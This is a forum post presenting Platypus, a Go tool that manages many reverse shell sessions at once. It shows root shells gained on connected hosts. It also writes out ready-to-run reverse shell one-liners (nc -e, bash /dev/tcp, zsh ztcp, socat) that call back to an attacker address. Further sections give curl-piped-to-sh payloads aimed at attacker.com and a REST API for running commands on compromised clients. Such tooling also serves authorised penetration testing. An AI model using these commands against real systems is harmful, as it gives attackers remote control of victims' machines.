王一航 / 2018-10-25 10:28:00 / 浏览数 2345 安全工具 工具 顶(0) 踩(0)

# Platypus

A modern multiple reverse shell sessions/clients manager via terminal written in go

#### **Features**

- [x] Multiple service listening port
- [x] Multiple client connections
- · [x] RESTful API
- [x] Reverse shell as a service

### Screenshot

```
Run 0.0.0.0 8081
>> List
[b78fcd6b8c760483b85a2b65ab7dc01b] 0.0.0.0:8080 (1 online clients) (started at: 1 minute ago)
[c5794d93696975ec457da9d9e7312713] tcp://l92.168.159.129:47246 (connected at: 12 seconds ago) [false] [0eba675758ec591dd0a9ac3035aa6699] 0.0.0.0:8081 (1 online clients) (started at: 17 seconds ago)
         [caeb063159c77c81a606ca556551c45b] tcp://192.168.159.133:1031 (connected at: 4 seconds ago) [false]
>> Command id
>> Interact
>> Jump c
>> Interact
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
uname
Linux kali 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64 GNU/Linux
exit
>> Jump ca
>> Interact
echo %PATH%
C:\WINDOWS\system32;C:\WINDOWS\System32\Wbem
                                                                                                                                    先知社区
C:\>exit
```

# Network Topology

Attack IP: 192.168.1.2

Reverse Shell Service: 0.0.0.0:8080

RESTful Service: 127.0.0.1:9090

### Use Platypus from source code

```
go get github.com/WangYihang/Platypus
cd go/src/github.com/WangYihang/Platypus
go run platypus.go
```

## Use Platypus from release binaries

```
// Download binary from https://github.com/WangYihang/Platypus/releases
# chmod +x ./Platypus_linux_amd64
# ./Platypus_linux_amd64
```

### Victim side

```
nc -e /bin/bash 192.168.1.2 8080
bash -c 'bash -i >/dev/tcp/192.168.1.2/8080 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.1.2 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.2:8080
```

### Reverse shell as a Service

```
// Platypus is able to multiplexing the reverse shell listening port
// The port 8080 can receive reverse shell client connection
// Also these is a Reverse shell as a service running on this port

// victim will be redirected to attacker-host attacker-port
// sh -c "$(curl http://host:port/attacker-host/attacker-port)"
# curl http://192.168.1.2:8080/attacker.com/1337
bash -c 'bash -i >/dev/tcp/attacker.com/1337 0>&1'
# sh -c "$(curl http://192.168.1.2:8080/attacker.com/1337)"

// if the attacker info not specified, it will use host, port as attacker-host attacker-port
// sh -c "$(curl http://host:port/)"
# curl http://192.168.1.2:8080/
curl http://192.168.1.2:8080/192.168.1.2/8080|sh
# sh -c "$(curl http://host:port/)"
```

## RESTful API

```
GET /client List all online clients
```

```
# curl 'http://127.0.0.1:9090/client'
{
    "msg": [
        "192.168.1.3:54798"
    ],
    "status": true
}
```

POST /client/:hash execute a command on a specific client

```
# curl -X POST 'http://127.0.0.1:9090/client/0723c3bed0d0240140e10a6ffd36eed4' --data 'cmd=whoami'
{
    "status": true,
    "msg": "root\n",
}
```

· How to hash?

```
# echo -n "192.168.1.3:54798" | md5sum
0723c3bed0d0240140e10a6ffd36eed4 -
```

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